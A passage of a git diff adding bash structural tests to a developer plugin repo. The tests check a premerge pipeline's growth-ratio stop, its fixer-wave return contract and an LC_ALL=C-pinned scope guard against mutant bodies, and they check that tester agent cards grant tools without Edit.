"$LIB" '"STOP_SELF_REFERENTIAL",' "P21: the decision is a member of the closed vocabulary" +assert_fixed "$LIB" 'fix-scope-%02d.modified' "P21: the ratio reads the scope list the commit fence already writes" +assert_grep "$SKILL" '^PREMERGE_GROWTH_CEILING' "P21: the SKILL restates the ceiling in the Constants block" +assert_grep "$SKILL" '^PREMERGE_GROWTH_RUNS' "P21: the SKILL restates the consecutive-round requirement" +assert_fixed "$SKILL" '| `STOP_SELF_REFERENTIAL` |' "P21: the decision table routes the new stop" +assert_fixed "$SKILL" 'GROWTH=<0.00-1.00|->' "P21: the documented output line carries the ratio" +assert_fixed "$SKILL" 'growth=0.20' "P21: the run summary's converge row carries the ratio per attempt" +assert_fixed "$CMD" 'STOP_SELF_REFERENTIAL' "P21: the command file names the stop for the operator" +assert_fixed "$SKILL_MISTAKES" 'GROWTH=-' "P21: Common Mistakes warns against reading unmeasured as zero" +assert_fixed "$RFC" '### A5 — the growth ratio is computed and stops the loop' "P21: RFC 0021 records the amendment" +# The measurement takes NO new argument: both its inputs are in the run +# directory the fence already passes. This row reds if someone "fixes" the +# measurement by widening the verb's surface and threading a value through a +# fence. +# +# LINE-BASED, and deliberately NOT `converge.*--growth` on one line: grep judges +# one line at a time, and this fence writes every argument on its own +# backslash-continued line — `--run-dir`, `--attempt`, `--max-repairs`, +# `--verdict`, `--reasons`, `--wait-passes` all sit BELOW the word `converge`. +# A same-line pattern is therefore blind to the only shape a seventh argument +# would ever be written in. Measured, not reasoned: with +# `--growth "$PREMERGE_GROWTH" \` spliced into the converge invocation exactly +# the way its six siblings are written, the same-line pattern still reported +# PASS on this suite. It would have shipped permanently green. +# +# The widened claim — no fence passes a growth argument AT ALL — is true today +# and errs in the safe direction: it also catches the value being threaded into +# the `plan` or `defer` call instead, which is the same mistake wearing a +# different verb. +# +# `^[^#]*` is P15's idiom, for P15's reason: a fence COMMENT that mentions the +# flag while explaining why nothing passes it must not red this row. The +# `[^-[:alnum:]]` before the flag keeps `----growth` and `x--growth` out, and +# the trailing class keeps `--growth-ceiling` out. +# +# Anti-vacuity is already established ABOVE, in this same run, and is not +# restated here: P11c FAILS the extraction outright below 100 lines, and P11c's +# own `assert_fixed "$FENCES" 'premerge-findings.py" converge'` is what proves +# the converge invocation is in the slice at all. A second copy of either +# predicate is the drift this suite exists to prevent. +assert_no_grep "$FENCES" '^[^#]*[^-[:alnum:]]--growth([^[:alnum:]_-]|$)' \ + "P21: no fence passes a growth argument — the inputs are in the run dir" + +echo "== P22: the fixer-wave return contract names blocked_on_file (#755) ==" +# AC 1: the field and BOTH emission cases. Scoped to the §2a prompt block, not +# to the whole file — SKILL.md holds the contract AND the paragraphs about it, +# and a whole-file grep for the field name is satisfied by the paragraph that +# explains it after the contract itself has gone. +P22_PROMPT="$(awk ' + $0 == "### 2a — The fixer-wave mechanism" { in2a = 1 } + in2a && $0 == "Return exactly this YAML and nothing else:" { infield = 1 } + infield && index($0, "```") == 1 { exit } + infield { print } +' "$SKILL")" +P22_PROMPT_LINES="$(grep -c . <<<"$P22_PROMPT")" +if [ "$P22_PROMPT_LINES" -ge 6 ]; then + echo " PASS P22: the §2a return block extracted $P22_PROMPT_LINES lines"; PASS=$((PASS + 1)) +else + echo " FAIL P22: the §2a return block extracted $P22_PROMPT_LINES lines — every row below is vacuous"; FAIL=$((FAIL + 1)) +fi +assert_in "$P22_PROMPT" 'blocked_on_file:' "P22: the return contract declares the field" +assert_in "$P22_PROMPT" '- file:' "P22: and it carries a path" +assert_in "$P22_PROMPT" 'reason:' "P22: and a reason" +# BOTH emission cases, against the RULES block that the agent actually obeys. +P22_RULES="$(awk ' + $0 == "### 2a — The fixer-wave mechanism" { in2a = 1 } + in2a && $0 == "Rules:" { inrules = 1; next } + inrules && $0 == "Return exactly this YAML and nothing else:" { exit } + inrules { print } +' "$SKILL")" +P22_RULE_LINES="$(grep -c . <<<"$P22_RULES")" +if [ "$P22_RULE_LINES" -ge 8 ]; then + echo " PASS P22: the §2a rules block extracted $P22_RULE_LINES lines"; PASS=$((PASS + 1)) +else + echo " FAIL P22: the §2a rules block extracted $P22_RULE_LINES lines — the rows below are vacuous"; FAIL=$((FAIL + 1)) +fi +assert_in "$P22_RULES" 'status: REFUSED' "P22: the REFUSED emission case is stated in the rules" +assert_in "$P22_RULES" 'status: APPLIED' "P22: the APPLIED emission case is stated in the rules" +assert_in "$P22_RULES" 'blocked_on_file' "P22: both cases name the field the agent must emit" +assert_in "$P22_RULES" 'never a line range' "P22: the reason is carried, the coordinates are not" + +echo "== P22b: the allowed set still derives ONLY from the wave plan (#755) ==" +# THE SECURITY ROW. `blocked_on_file` must reach the next attempt through +# `_fix_waves`, so a path is committable only while exactly one agent owns it. +# A fence that reads the blocked-on artifact directly has bypassed that, and +# the symptom is two agents editing one file with the disjointness guard silent. +# +# The two bypass patterns are HOISTED into variables because P22c drives the +# SAME strings over a body that does bypass. A second, freshly-typed copy of a +# pattern down there would make that anti-vacuity row constant-true: a typo in +# either pattern here leaves the row it guards matching nothing, and the row +# that exists to catch exactly that stays green because it reads its own copy. +# One string, two readers — that is the whole mechanism. +P22B_BYPASS_RE='blocked.on' +P22B_APPEND_RE='PREMERGE_ASSIGNED_LIST"$' +assert_in "$FIX_FENCE" 'jq -r '"'"'.waves[][].file'"'"' <"$PREMERGE_WAVES_FILE" >"$PREMERGE_SCOPE_RAW" || exit 2' \ + "P22b: the allowed set is still derived from the wave plan, unchanged" +assert_not_in "$FIX_FENCE" "$P22B_BYPASS_RE" \ + "P22b: and the fix-commit fence names no blocked-on artifact" +assert_not_in "$FIX_FENCE" "$P22B_APPEND_RE" \ + "P22b: nothing appends to the assigned list after it is built" +# Exactly ONE producer for the assigned list. A second `>>` or a second `jq` +# writing it is the widening this design refuses, and a row asserting only that +# the first producer survives would pass with both present. +P22B_PRODUCERS="$(grep -cE '>+[[:space:]]*"\$PREMERGE_ASSIGNED_LIST"' <<<"$FIX_FENCE")" +if [ "$P22B_PRODUCERS" = "1" ]; then + echo " PASS P22b: the assigned list has exactly one producer"; PASS=$((PASS + 1)) +else + echo " FAIL P22b: the assigned list has $P22B_PRODUCERS producers, wanted 1"; FAIL=$((FAIL + 1)) +fi + +echo "== P22c: the widening is declared, bounded and non-accumulating (#755) ==" +assert_fixed "$FENCES" '--carry-blocked' "P22c: a fence turns the widening on" +assert_fixed "$FENCES" '--repo-root "$PREMERGE_ROOT"' "P22c: and hands it a root to contain against" +assert_fixed "$SKILL" 'PREMERGE_MAX_BLOCKED_ON' "P22c: the SKILL declares the cap" +assert_fixed "$LIB" 'MAX_BLOCKED_ON' "P22c: the library declares the cap it enforces" +# ...and the VALUE behind both those names. The two rows above are +# `assert_fixed` — a fixed-string grep for the identifier, on each side — so the +# pair stayed green at any value and the two copies were free to drift the +# moment either moved: the SKILL's number is what a reader plans against, the +# library's is what actually drops rows. That is the #370/#371 "one contract, N +# uncompared copies" class P3b names above, and this stack's other restated +# constants are not exposed to it — PREMERGE_REPAIR_CEILING / +# PREMERGE_WAIT_CI_CEILING and the growth pair are compared value-for-value in +# tests/premerge-findings.test.sh (B15b, B32). This one is compared here, +# beside the Constants block's other locks (P19, P20). +# +# EVALUATE the library's constant, never parse it: P3b states that rule for this +# repo, and the cross-platform import recipe is P3b's too — cd into the lib dir, +# hand python3 a RELATIVE filename (a Git Bash absolute path is not openable by +# native Windows python), strip the CR native-Windows python writes. +P22C_ERR="$(mktemp)" +P22C_LIB_CAP="$( (cd "$LIB_DIR" && python3 -c " +import importlib.util +spec = importlib.util.spec_from_file_location('premerge_findings', '$LIB_BASE') +mod = importlib.util.module_from_spec(spec) +spec.loader.exec_module(mod) +print(mod.MAX_BLOCKED_ON) +") 2>"$P22C_ERR" | tr -d '\r')" +# Spaced (`NAME = 8`) is the documentation, as in P19: the Constants block is the +# only copy of this number the prose points at. +P22C_DOC_CAP="$(sed -n 's/^PREMERGE_MAX_BLOCKED_ON[[:space:]][[:space:]]*=[[:space:]]*\([0-9][0-9]*\).*$/\1/p' "$SKILL" | sed -n '1p')" +case "$P22C_LIB_CAP" in + ''|*[!0-9]*) + echo " FAIL P22c: could not evaluate MAX_BLOCKED_ON from the library (got '$P22C_LIB_CAP')" + [ -s "$P22C_ERR" ] && echo " python stderr: $(tr '\n' ' ' <"$P22C_ERR")" + FAIL=$((FAIL + 1)) ;; + *) + if [ -z "$P22C_DOC_CAP" ]; then + echo " FAIL P22c: the Constants block declares no PREMERGE_MAX_BLOCKED_ON value"; FAIL=$((FAIL + 1)) + elif [ "$P22C_DOC_CAP" != "$P22C_LIB_CAP" ]; then + echo " FAIL P22c: Constants says PREMERGE_MAX_BLOCKED_ON=$P22C_DOC_CAP, the library enforces $P22C_LIB_CAP" + FAIL=$((FAIL + 1)) + else + echo " PASS P22c: the SKILL's restated cap == the library's enforced MAX_BLOCKED_ON ($P22C_LIB_CAP)" + PASS=$((PASS + 1)) + fi ;; +esac +rm -f "$P22C_ERR" + +# The equality the SKILL argues from. It says the cap is equal to +# PREMERGE_MAX_FIX_WAVE "on purpose" — the widening is one extra wave's worth of +# files rather than a number someone picked — and that reasoning is the entire +# justification for the value. Nothing enforced it: PREMERGE_MAX_FIX_WAVE exists +# on its own Constants row and inside the sentence claiming the equality, and +# nowhere else in tests/ or lib/, so the argument could go false with no row +# moving. What makes the wave size real is the fence, which passes +# `--max-per-wave` EXPLICITLY rather than leaning on the library's argparse +# default — so the fence's literal, not the default, is what the cap must equal. +P22C_DOC_WAVE="$(sed -n 's/^PREMERGE_MAX_FIX_WAVE[[:space:]][[:space:]]*=[[:space:]]*\([0-9][0-9]*\).*$/\1/p' "$SKILL" | sed -n '1p')" +P22C_FENCE_WAVES="$(sed -n 's/^[[:space:]]*--max-per-wave[[:space:]][[:space:]]*\([0-9][0-9]*\).*$/\1/p' "$FENCES")" +P22C_FENCE_WAVE="$(sort -u <<<"$P22C_FENCE_WAVES")" +P22C_FENCE_WAVE_N="$(grep -c . <<<"$P22C_FENCE_WAVE")" +if [ -z "$P22C_DOC_WAVE" ]; then + echo " FAIL P22c: the Constants block declares no PREMERGE_MAX_FIX_WAVE value"; FAIL=$((FAIL + 1)) +elif [ "$P22C_FENCE_WAVE_N" != "1" ]; then + echo " FAIL P22c: the fences pass $P22C_FENCE_WAVE_N distinct --max-per-wave values:" + sed 's/^/ /' <<<"$P22C_FENCE_WAVES" + FAIL=$((FAIL + 1)) +elif [ "$P22C_FENCE_WAVE" != "$P22C_DOC_WAVE" ]; then + echo " FAIL P22c: Constants says PREMERGE_MAX_FIX_WAVE=$P22C_DOC_WAVE, the fence runs --max-per-wave $P22C_FENCE_WAVE" + FAIL=$((FAIL + 1)) +elif [ "$P22C_DOC_WAVE" != "$P22C_DOC_CAP" ]; then + echo " FAIL P22c: the SKILL says the cap equals the wave size, but declares $P22C_DOC_CAP and $P22C_DOC_WAVE" + FAIL=$((FAIL + 1)) +else + echo " PASS P22c: the fence runs the declared wave size and the cap equals it ($P22C_DOC_WAVE)" + PASS=$((PASS + 1)) +fi + +assert_fixed "$LIB" 'blocked-on-%02d.json' "P22c: the library reads ONE predecessor by name, not a range" +assert_fixed "$LIB" '_beneath_repo_root' "P22c: containment is a filesystem check the library actually has" +assert_fixed "$SKILL" 'blocked-on-.json' "P22c: the SKILL names the artifact the controller writes" +assert_fixed "$SKILL" 'BLOCKED=' "P22c: the triage line documents the new field" +assert_grep "$SKILL_MISTAKES" 'Adding a `blocked_on_file` path straight to the commit fence' \ + "P22c: the bypass is written down as a mistake, not left to be rediscovered" +assert_grep "$SKILL_MISTAKES" 'Unioning `blocked_on_file` across every earlier attempt' \ + "P22c: and so is the accumulating union" +# ANTI-VACUITY for the two assert_not_in rows above: the SAME two patterns — +# read out of $P22B_BYPASS_RE and $P22B_APPEND_RE, never re-typed — over a body +# that DOES bypass. Both must match here, or the row they guard is asserting +# nothing about the real fence. Herestrings, not pipes: an early-exiting reader +# behind a pipe is the EPIPE class tests/epipe-guard.test.sh bans. +P22C_MUTANT='PREMERGE_ASSIGNED_LIST="$PREMERGE_RUN_DIR/x.assigned" +jq -r ".blocked_on[].file" <"$PREMERGE_RUN_DIR/blocked-on-01.json" >>"$PREMERGE_ASSIGNED_LIST"' +if grep -qE -e "$P22B_BYPASS_RE" <<<"$P22C_MUTANT"; then + echo " PASS P22c: the bypass detector sees a bypass when there is one"; PASS=$((PASS + 1)) +else + echo " FAIL P22c: the bypass detector cannot see a bypass — P22b is vacuous"; FAIL=$((FAIL + 1)) +fi +if grep -qE -e "$P22B_APPEND_RE" <<<"$P22C_MUTANT"; then + echo " PASS P22c: the append detector sees an append when there is one"; PASS=$((PASS + 1)) +else + echo " FAIL P22c: the append detector cannot see an append — P22b is vacuous"; FAIL=$((FAIL + 1)) +fi + echo "" echo "== Summary ==" echo " passed: $PASS" diff --git a/tests/review-pr-consolidate.test.sh b/tests/review-pr-consolidate.test.sh index f05b1966..9064ecab 100644 --- a/tests/review-pr-consolidate.test.sh +++ b/tests/review-pr-consolidate.test.sh @@ -887,6 +887,133 @@ RCXZ_EOF fi fi +# --------------------------------------------------------------------------- +echo "== RCX15: the staged-set scope guard compares paths as BYTES (#755) ==" +# Scoped to the FUNCTION BODY. review-consolidate.sh is long and a whole-file +# grep for LC_ALL=C is satisfied by any other call site in it. ONE predicate +# function, driven over the live body AND over two deliberately-broken ones, so +# no row below can be green merely because the grep is wrong — a transcribed +# copy of the rule would be permanently green no matter what the guard does. +rcx15_body() { # rcx15_body FILE OPENER -> the function body, opener to its closing brace + awk -v opener="$2" ' + index($0, opener) == 1 { inf = 1; next } + inf && /^}/ { exit } + inf { print } + ' "$1" +} +rcx15_unpinned() { # rcx15_unpinned FILE OPENER -> offending lines, empty when clean + # NEUTRALISE PER TOKEN, NEVER PER LINE. Filtering the offender lines through a + # line-level `grep -v LC_ALL=C` is blind to a line carrying TWO commands with + # only one of them pinned: `LC_ALL=C comm -13 <(…) <(… | sort -u)` still holds + # the string LC_ALL=C, so the whole line is discarded and the unpinned `sort` + # never reaches the verdict. Rewriting each PINNED pair to `PINNED_` + # first leaves every UNPINNED occurrence exactly where it stood, so a + # half-pinned line reds on its unpinned half. RCX15.mutation-half is the row + # that proves it, and a fully-unpinned mutant cannot: it carries no pinned + # token for the line-level filter to be fooled by. + # + # Full-line comments are stripped first — the guard carries its own rationale + # and that paragraph says the words "sort" and "comm" in prose. + # + # THE TRAILING CLASS IS EVERY COMMAND TERMINATOR, NOT JUST WHITESPACE. This + # tail is the TWIN of the one in tests/goal.test.sh (`g56_unpinned`), and it + # is widened here for the same measured reason: a `[[:space:]]`-only tail can + # only see an invocation that carries an argument, and `sort` needs none — it + # reads stdin. So `… | sort)` closing a command substitution, `… | sort` at + # end of line, `sort|uniq`, `sort;`, `sort&` and `sort>f` were every one of + # them a LIVE unpinned sort that the narrow grep scored as ZERO hits, and + # RCX15.live printed PASS over the lot. The two mutants below cannot catch + # that: both spell every occurrence with a following flag (`sort -u`, + # `comm -13`), which is precisely the whitespace case the old tail already + # covered. RCX15.mutation-bare is the row that pins the widened tail. + # + # `=`, `"`, `'` and `}` stay OUT of the class deliberately — those are how an + # ASSIGNMENT or a variable READ ends, so admitting them would red `sort=/bin/x`, + # `"$sort"` and `${sort}`, none of which invokes anything. + rcx15_body "$1" "$2" \ + | grep -vE '^[[:space:]]*#' \ + | sed -E 's/LC_ALL=C[[:space:]]+(sort|comm)/PINNED_\1/g' \ + | grep -nE '(^|[^=[:alnum:]_./-])(sort|comm)([[:space:])|;&<>`]|$)' || : +} +RCX15_OPENER='review_consolidate_continue() {' +RCX15_LINES="$(rcx15_body "$CONSOLIDATE_LIB" "$RCX15_OPENER" | grep -c . || :)" +if [ "${RCX15_LINES:-0}" -ge 20 ]; then + pass "RCX15.extract: review_consolidate_continue extracted $RCX15_LINES lines" +else + fail "RCX15.extract: extracted only ${RCX15_LINES:-0} lines — every row below is vacuous" +fi +RCX15_HITS="$(rcx15_unpinned "$CONSOLIDATE_LIB" "$RCX15_OPENER")" +if [ -z "$RCX15_HITS" ]; then + pass "RCX15.live: every sort/comm in the staged-set guard is LC_ALL=C-pinned" +else + fail "RCX15.live: unpinned sort/comm in the staged-set guard" \ + "(line numbers index the comment-stripped body; pinned pairs read as PINNED_*)" \ + "$RCX15_HITS" +fi +# ANTI-VACUITY. Both rows run through the SAME rcx15_unpinned defined above. +RCX15_MUTANT="$TMP/rcx15-mutant-none.sh" +cat >"$RCX15_MUTANT" <<'EOF_RCX15' +review_consolidate_continue() { + local allowed staged extra + allowed="$(cat "$scan_dir/x.txt" | sort -u)" + extra="$(comm -13 <(printf '%s\n' "$allowed") <(printf '%s\n' "$staged"))" +} +EOF_RCX15 +RCX15_MUTANT_HITS="$(rcx15_unpinned "$RCX15_MUTANT" "$RCX15_OPENER")" +if [ -n "$RCX15_MUTANT_HITS" ]; then + pass "RCX15.mutation-none: a fully unpinned body reds through the same predicate" +else + fail "RCX15.mutation-none: the predicate cannot see an unpinned sort/comm — RCX15.live is vacuous" +fi +# THE ROW A FULLY-UNPINNED MUTANT CANNOT PRODUCE: one line, two commands, only +# the `comm` pinned. That is the shape the next edit to that line will have. +RCX15_HALF="$TMP/rcx15-mutant-half.sh" +cat >"$RCX15_HALF" <<'EOF_RCX15H' +review_consolidate_continue() { + local allowed staged extra + extra="$(LC_ALL=C comm -13 <(printf '%s\n' "$allowed") <(printf '%s\n' "$staged" | sort -u))" +} +EOF_RCX15H +RCX15_HALF_HITS="$(rcx15_unpinned "$RCX15_HALF" "$RCX15_OPENER")" +if [ -n "$RCX15_HALF_HITS" ]; then + pass "RCX15.mutation-half: a pinned comm and an unpinned sort on ONE line still reds" +else + fail "RCX15.mutation-half: a half-pinned line reads as clean — the predicate is line-level, so RCX15.live is blind to the next edit to that line" +fi +# THE BARE-TERMINATOR MUTANT — the hole the two rows above CANNOT see. Both of +# them spell every occurrence with a following flag (`sort -u`, `comm -13`), so +# a `[[:space:]]`-only tail was enough to red them and the rest of the offender +# class went untested. `sort` takes no operand, so these three spellings are the +# ones a rewrite of the shipped `allowed=` / `staged=` / `extra=` lines actually +# produces: the word ends at `)`, at end-of-line, or at `|`. Every one of them +# is a live unpinned sort. Against the pre-widening `[[:space:]]` tail this body +# scores ZERO hits — which is what makes the widening a fix and not a cosmetic. +# +# No `comm` row here, and that is not an omission: `comm` requires TWO operands, +# so a terminator always follows an operand, never the command name itself. The +# tail is shared by the `(sort|comm)` alternation and the two mutants above +# already prove `comm` reaches this grep. +RCX15_BARE="$TMP/rcx15-mutant-bare.sh" +cat >"$RCX15_BARE" <<'EOF_RCX15B' +review_consolidate_continue() { + local allowed staged extra + allowed="$(printf '%s\n' "$allowed_raw" | sort)" + staged="$(printf '%s\n' "$staged_raw" | sort|uniq)" + extra="$(LC_ALL=C comm -13 <(printf '%s\n' "$allowed") <(printf '%s\n' "$staged"))" + printf '%s\n' "$extra" | sort +} +EOF_RCX15B +RCX15_BARE_HITS="$(rcx15_unpinned "$RCX15_BARE" "$RCX15_OPENER")" +RCX15_BARE_COUNT="$(printf '%s\n' "$RCX15_BARE_HITS" | grep -c . || :)" +# ALL THREE, never merely one: a tail widened for `)` alone would satisfy a +# non-empty check while leaving the end-of-line and `|` bypasses wide open. +if [ "${RCX15_BARE_COUNT:-0}" -eq 3 ]; then + pass "RCX15.mutation-bare: all 3 bare-terminator sorts red — ')', end-of-line and '|' are in the offender class" +else + fail "RCX15.mutation-bare: expected 3 bare-terminator hits, got ${RCX15_BARE_COUNT:-0} — the offender tail is still whitespace-only" \ + "$RCX15_BARE_HITS" +fi + echo echo "== Summary ==" echo " passed: $PASS" diff --git a/tests/skill-size.test.sh b/tests/skill-size.test.sh index 7baaee35..839f796f 100755 --- a/tests/skill-size.test.sh +++ b/tests/skill-size.test.sh @@ -72,7 +72,7 @@ LIMIT=500 # extraction is right for material a reader consults on demand, and wrong for # material the runtime obeys. WAIVERS="$(cat <<'EOF' -premerge-pipeline 2323 ~54% fenced; rose 2274->2323 re-inlining the severity rule the controller reads at runtime +premerge-pipeline 2486 ~54% fenced (1332/2486); rose 2323->2486 for #754 and #755 together — the GROWTH= line shape, the STOP_SELF_REFERENTIAL routing row and the blocked_on_file wave-return contract are all read at runtime, so none can move to references/ merge-pipeline 1778 ~27% fenced, no references/ yet — prose extraction is open work subagent-driven-dev 1019 ~64% fenced — one ~450-line bash block plus dispatch examples orchestrator 1012 ~53% fenced, 26 executable blocks; 2 reference files already split out diff --git a/tests/solve-claim.test.sh b/tests/solve-claim.test.sh index 2c40bab1..34412b2f 100755 --- a/tests/solve-claim.test.sh +++ b/tests/solve-claim.test.sh @@ -46,8 +46,8 @@ source "$REPO_ROOT/tests/_lib_assert_structural.sh" || { echo "FATAL: _lib_asser # Both lines below are read by bump-version.sh as literal anchors. The echo text # and the assert_version_bump argument must carry the CURRENT version, and both # must be bumped together every release. -echo "== Version bump 0.55.0 -> 0.55.1 propagated ==" -assert_version_bump "$REPO_ROOT" "0.55.1" +echo "== Version bump 0.55.1 -> 0.56.0 propagated ==" +assert_version_bump "$REPO_ROOT" "0.56.0" # --- #123 B1: closing-keyword regex left-anchor ------------------------------- # Kept because it EXECUTES the regex rather than only asserting its presence, diff --git a/tests/testers-agent-contract.test.sh b/tests/testers-agent-contract.test.sh index 8ba47aff..f0acba1e 100755 --- a/tests/testers-agent-contract.test.sh +++ b/tests/testers-agent-contract.test.sh @@ -4,7 +4,9 @@ # Grep-based structural contract test for the /uberdev:testers agent fleet. # Asserts every agent file under plugins/uberdev/agents/testers-*.md has: # - Canonical frontmatter (name, description, model, color) -# - allowed-tools that exclude Edit and bare Write +# - a `tools:` grant -- the key the agent LOADER honours -- that excludes +# Edit and carries a write grant. (#749: `allowed-tools:` is the +# SLASH-COMMAND key and is inert on an agent card.) # - A reference to the reviewer YAML contract (verdict / findings / confidence) # - At least one of the documented invariant IDs from invariants.yaml # @@ -39,6 +41,18 @@ EXPECTED_AGENTS=( pass() { printf 'PASS %s\n' "$1"; } fail() { printf 'FAIL %s\n' "$1" >&2; exit 1; } +# A HARNESS error -- a predicate that CRASHED instead of judging -- must reach an +# operator, and `fail` cannot carry it. Every rejection-expecting call site below +# runs its predicate under `2>/dev/null` to swallow the EXPECTED rejection +# message, and that redirection used to eat the harness diagnostic with it: +# measured by making the predicate exit an unexpected status for one row, the run +# stopped with a failing status and printed NOTHING -- not the harness text, not +# even the row name. FD 3 is a duplicate of this script's stderr taken before any +# redirection exists; `2>/dev/null` rebinds FD 2 for one command only, so it +# cannot reach FD 3. Pass/fail outcomes are unchanged -- only the explanation of +# why the suite died is recovered. +exec 3>&2 +fail_harness() { printf 'FAIL %s\n' "$1" >&3; exit 1; } # C1: invariants.yaml exists and has 10 invariants [ -f "$INVARIANTS" ] || fail "C1: invariants.yaml missing at $INVARIANTS" @@ -66,36 +80,330 @@ for a in "${EXPECTED_AGENTS[@]}"; do done pass "C4: all 8 agent files exist with canonical frontmatter" -# C5: no agent has Edit or bare Write in allowed-tools (read-only contract). -# Bare `Write` is forbidden; `Write()` is OK. POSIX ERE has no -# lookarounds, so we detect bare Write via a 3-line python YAML parser -# (load the frontmatter, scan allowed-tools tokens). Python YAML is already -# a hard dep of this repo (aggregate.py + report.py); cost is one extra -# subprocess per agent file. +# C5 (#749): the read-only ceiling is asserted against `tools:` -- the key the +# AGENT LOADER honours. The pre-#749 body read `allowed-tools:`, which is the +# SLASH-COMMAND frontmatter key: an agent card is not read for it, so all eight +# personas shipped with every tool granted while this row printed PASS. Both of +# its arms keyed on that literal string, so MOVING the declaration onto `tools:` +# did not fix the row, it finished emptying it -- the grep arm then matched +# nothing and the python arm did `if not m: sys.exit(0)`. Measured on this tree +# before the rewrite: a card with "Edit" injected into its `tools:` array passed +# the pre-#749 row completely clean. +# +# WHAT IS ASSERTED -- only what the runtime actually implements: +# 1. `tools:` is PRESENT -- absent, the agent loader grants ALL tools. +# Presence is recognised in EITHER YAML spelling of a list, flow or block +# sequence; see the extractor below for why that is a correctness fix and +# not a relaxation. +# 2. `allowed-tools:` is ABSENT -- the inert key must not come back, and a +# half-migrated card carrying both is the likeliest way it would +# 3. no `Edit` token -- THE ceiling. A `tools:` entry filters tool +# NAMES, so striking a name off the roster is a real restriction. +# 4. a write grant IS present, in EITHER accepted spelling -- bare `Write` or +# `Write()`. These agents must write their findings file; +# "read-only with respect to the audited target" is not the same property +# as "needs no write tool", and denying the write would break the squad's +# only evidence channel. +# +# WHAT IS DELIBERATELY *NOT* ASSERTED, and why asserting it would re-create the +# defect this row exists to remove: that a `Write()` pattern ADMITS the +# path the runtime hands a persona. A `tools:` entry filters tool NAMES; the +# text inside its parentheses is never matched against a filesystem path, so +# `Write(.uberdev/research/**)` and bare `Write` grant exactly the same thing. +# Nor is `Write()` a valid file-permission rule -- the runtime rejects the +# spelling verbatim: "is not matched by file permission checks -- only +# `Edit(path)` rules are." A guard asserting path admission would therefore be +# GREEN over a property the runtime does not have: a ceiling that is not a +# ceiling, which is this same vacuity class in a new costume. See the #749 +# amendment in docs/rfc/0006-testers-command.md, "What the migration restores, +# and what it does not". Bare `Write` is consequently ACCEPTED here rather than +# rejected -- it is the shape every working live allowlist in this repo uses and +# it is semantically identical to the scoped spelling. The scoped spelling is +# pinned separately, as a CONVENTION and not as a ceiling, by C5c below. +# +# ONE definition of the predicate, driven below over the live cards AND over the +# synthetic mutants in C5b -- one function, two call sites. A transcribed second +# copy of the predicate would be a replica test: permanently green no matter +# what the live one does, which is strictly worse than no test at all. +# +# The same rule binds the READER underneath both predicates. C5 (the ceiling) +# and C5c (the convention) each have to answer "what does this card declare +# under `tools:`?", and each used to carry its OWN copy of the answer -- the +# byte-identical `^tools:[ \t]*(.+)$` in two heredocs. That is the two-uncompared +# -copies shape #749 was made of, and it drifts in exactly one direction: a fix +# lands on the half someone happened to be reading. The extractor below is that +# answer, defined ONCE and spliced into both programs, so a change to how a +# declaration is FOUND reaches both halves or neither. +# +# It recognises both YAML spellings of a list, because `tools:` is parsed as +# YAML and a list has two legal renderings: +# flow tools: ["Read", "Write(.uberdev/research/**)"] +# block tools: +# - Read +# - Write(.uberdev/research/**) +# The old same-line-only `(.+)$` saw the flow form only. A block-sequence card -- +# correctly restricted, and accepted by the `yaml.safe_load` frontmatter reader +# in tests/agent-description-budget.test.sh -- came back as `declared is None` +# and was failed for "no 'tools:' declaration", i.e. the row went RED on a card +# that honours it. Widening WHAT COUNTS AS A DECLARATION is not a relaxation of +# what is asserted: once one is found, every token in it is checked exactly as +# before, in either spelling. C5b/C5c prove that on synthetic block-form cards. +C5_TOOLS_PY="$(cat <<'PY' +import os, re, sys + +# Distinct from 1 so a CRASHED predicate cannot masquerade as "rejected" and +# quietly turn every C5b/C5c reject row green. See the c5_rc cases below. +VIOLATION = 9 + +_FRONTMATTER = re.compile(r'(?s)\A---\n(.*?)\n---(?:\n|\Z)') +# `tools:` plus, when the same-line value is empty, the `- item` lines that +# follow it. ONLY block-sequence item lines are absorbed: an indented +# continuation of some other key's folded scalar is not a tool declaration, and +# swallowing one would let prose words be read as granted tool names. The item +# indent is `[ \t]*` because YAML also permits a sequence at the parent key's +# own column. +_TOOLS = re.compile(r'(?m)^tools:[ \t]*(.*(?:\n[ \t]*-[ \t]+\S.*)*)$') +_TOKEN = re.compile(r'[A-Za-z_]+(?:\([^)]*\))?') + + +def frontmatter(text): + """The --- block's body, or None when the card has no frontmatter.""" + m = _FRONTMATTER.match(text) + return m.group(1) if m else None + + +def declared_tools(block): + """The raw `tools:` value in EITHER spelling, or None when undeclared. + + An empty value (`tools:` with nothing after it and no item lines) is YAML + null -- the loader grants everything, exactly as if the key were absent -- + so it is reported as no declaration rather than as an empty allowlist. + """ + m = _TOOLS.search(block) + if m is None or not m.group(1).strip(): + return None + return m.group(1) + + +def tool_tokens(value): + """Tool NAMES (each with its parenthesised scope, if any) inside a value.""" + return _TOKEN.findall(value) +PY +)" + +C5_VERDICT_PY="$(cat <<'PY' +text, label = os.environ["C5_TEXT"], os.environ["C5_LABEL"] + + +def bad(reason): + print(f"FAIL C5 {label}: {reason}", file=sys.stderr) + sys.exit(VIOLATION) + + +block = frontmatter(text) +if block is None: + bad("no --- frontmatter block") +if re.search(r'(?m)^allowed-tools:', block): + bad("declares 'allowed-tools:' -- that is the SLASH-COMMAND key; an agent " + "card is read for 'tools:', so this declaration is inert (#749)") +declared = declared_tools(block) +if declared is None: + bad("no 'tools:' declaration -- the agent loader then grants ALL tools (#749)") +tokens = tool_tokens(declared) +if any(t == 'Edit' or t.startswith('Edit(') for t in tokens): + bad("forbidden 'Edit' in tools: -- tool-NAME filtering is the one ceiling an " + "agent card can actually impose, and this contract spends it on Edit") +if not any(t == 'Write' or t.startswith('Write(') for t in tokens): + bad("no write grant in tools: -- these agents must write their findings " + "file, so the contract requires a write, not no write (#749)") +sys.exit(0) +PY +)" + +c5_verdict() { # $1=full card text $2=label ; rc 0 clean, rc 1 violation (reason on stderr) + local c5_rc=0 + C5_TEXT="$1" C5_LABEL="$2" python3 -c "$C5_TOOLS_PY +$C5_VERDICT_PY" || c5_rc=$? + case "$c5_rc" in + 0) return 0 ;; + 9) return 1 ;; + *) fail_harness "C5: harness error -- the predicate exited $c5_rc for '$2'. A predicate that CRASHED must never read as 'rejected'; that would make every C5b reject row vacuous" ;; + esac +} + for a in "${EXPECTED_AGENTS[@]}"; do F="$AGENT_DIR/$a.md" - if grep -E "^allowed-tools:.*\\bEdit\\b" "$F" > /dev/null; then - fail "C5 $a: forbidden 'Edit' in allowed-tools" + c5_verdict "$(cat "$F")" "$a" || exit 1 +done +pass "C5: all 8 agents declare tools: with no Edit and a write grant" + +# C5b (#749) 